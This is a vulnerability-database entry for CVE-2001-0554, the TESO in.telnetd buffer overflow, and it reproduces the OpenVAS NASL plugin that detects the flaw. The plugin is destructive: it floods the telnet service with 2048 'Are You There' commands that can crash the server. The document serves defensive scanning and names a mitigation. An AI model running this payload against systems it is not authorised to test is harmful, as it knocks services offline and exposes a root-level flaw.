Lucene search

K

TESO in.telnetd Buffer Overflow DoS Vulnerability

🗓️ 03 Nov 2005 00:00:00Reported by Copyright (C) 2001 Pavel KankovskyType 
openvas
 openvas
🔗 plugins.openvas.org👁 99 Views

TESO in.telnetd Buffer Overflow DoS Vulnerability. Telnet server does not return expected number of replies, overflows internal buffer, and crashes. Likely allows attacker to gain control over remote host's superuser. Affected: Sun Solaris 2.8, RetHat Linux 6.2, FreeBSD 4.3. Comment out 'telnet' line in /etc/inetd.conf

Show more

AI Insights are available for you today

Leverage the power of AI to quickly understand vulnerabilities, impacts, and exploitability

Related
Refs
Code
# SPDX-FileCopyrightText: 2001 Pavel Kankovsky
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.10709");
  script_version("2023-07-21T05:05:22+0000");
  script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_xref(name:"IAVA", value:"2001-t-0008");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_cve_id("CVE-2001-0554");
  script_name("TESO in.telnetd Buffer Overflow DoS Vulnerability");
  script_category(ACT_DESTRUCTIVE_ATTACK);
  script_tag(name:"qod_type", value:"remote_analysis");
  script_copyright("Copyright (C) 2001 Pavel Kankovsky");
  script_family("Gain a shell remotely");
  # Must run AFTER ms_telnet_overflow-004.nasl
  script_dependencies("telnetserver_detect_type_nd_version.nasl");
  script_require_ports("Services/telnet", 23);
  script_mandatory_keys("telnet/banner/available");

  script_xref(name:"URL", value:"http://www.team-teso.net/advisories/teso-advisory-011.tar.gz");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/3064");

  script_tag(name:"solution", value:"Comment out the 'telnet' line in /etc/inetd.conf.");

  script_tag(name:"summary", value:"The Telnet server does not return an expected number of replies
  when it receives a long sequence of 'Are You There' commands. This probably means it overflows one
  of its internal buffers and crashes.");

  script_tag(name:"impact", value:"It is likely an attacker could abuse this bug to gain
  control over the remote host's superuser.");

  script_tag(name:"affected", value:"Sun Solaris 2.8, RetHat Linux 6.2 and FreeBSD 4.3 are known to
  be affected. Other versions or products might be affected as well.");

  script_tag(name:"solution_type", value:"Mitigation");

  exit(0);
}

# nb: Tested against Solaris 2.8, RH Lx 6.2, FreeBSD 4.3 (patched & unpatched)

include("telnet_func.inc");
include("misc_func.inc");
include("port_service_func.inc");

iac_ayt = raw_string(0xff, 0xf6);
iac_ao  = raw_string(0xff, 0xf5);
iac_will_naol = raw_string(0xff, 0xfb, 0x08);
iac_will_encr = raw_string(0xff, 0xfb, 0x26);

#
# This helper function counts AYT responses in the input stream.
# The input is read until 1. the expected number of responses is found,
# or 2. EOF or read timeout occurs.
#
# At this moment, any occurrence of "Yes" or "yes" is supposed to be such
# a response. Of course, this is wrong: some FreeBSD was observed to react
# with "load: 0.12  cmd: .log 20264 [running] 0.00u 0.00s 0% 620k"
# when the telnet negotiation have been completed. Unfortunately, adding
# another pattern to this code would be too painful (hence the negotiation
# tricks in attack()).
#
# In order to avoid an infinite loop (when testing a host that generates
# lots of junk, intentionally or unintentionally), I stop when I have read
# more than 100 * max bytes.
#
# Please note builtin functions like ereg() or egrep() cannot be used
# here (easily) because they choke on '\0' and many telnet servers send
# this character
#
# Local variables: num, state, bytes, a, i, newstate
#

function count_ayt(sock, max) {
  num = 0; state = 0;
  bytes = 100 * max;
  while (bytes >= 0) {
    a = recv(socket:sock, length:1024);
    if (!a) return (num);
    bytes = bytes - strlen(a);
    for (i = 0; i < strlen(a); i = i + 1) {
      newstate = 0;
      if ((state == 0) && ((a[i] == "y") || (a[i] == "Y")))
        newstate = 1;
      if ((state == 1) && (a[i] == "e"))
        newstate = 2;
      if ((state == 2) && (a[i] == "s")) {
        # DEBUG display("hit ", a[i-2], a[i-1], a[i], "\n");
        num = num + 1;
        if (num >= max) return (num);
        newstate = 0;
      }
      state = newstate;
    }
  }
  # inconclusive result
  return (-1);
}

#
# This functions tests the vulnerability. "negotiate" indicates whether
# full telnet negotiation should be performed using telnet_init().
# Some targets might need it while others, like FreeBSD, fail to respond
# to AYT in an expected way when the negotiation is done (cf. comments
# accompanying count_ayt()).
#
# Local variables: r, total, size, bomb, succ
#

function attack(port, negotiate) {
  succ = 0;
  soc = open_sock_tcp(port);
  if (!soc) return (0);
  if (negotiate)
    # standard negotiation
    r = telnet_negotiate(socket:soc);
  else {
    # weird BSD magic, is it necessary?
    send(socket:soc, data:iac_will_naol);
    send(socket:soc, data:iac_will_encr);
    r = 1;
  }
  if (r) {
    # test whether the server talks to us at all
    # and whether AYT is supported
    send(socket:soc, data:iac_ayt);
    r = count_ayt(sock:soc, max:1);
    # DEBUG display("probe ", r, "\n");
    if (r >= 1) {
      # test whether too many AYT's make the server die
      total = 2048; size = total * strlen(iac_ayt);
      bomb = iac_ao + crap(length:size, data:iac_ayt);
      send(socket:soc, data:bomb);
      r = count_ayt(sock:soc, max:total);
      # DEBUG
#display("attack ", r, " expected ", total, "\n");
      if ((r >= 0) && (r < total)) succ = 1;
    }
  }
  close(soc);
  return (succ);
}

port = telnet_get_port(default:23);
success = attack(port:port, negotiate:0);
if (!success)
  success = attack(port:port, negotiate:1);

if (success) {
  security_message(port:port);
  exit(0);
}

exit(99);

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo
03 Nov 2005 00:00Current
6.3Medium risk
Vulners AI Score6.3
CVSS210
EPSS0.27436
99
.json
Report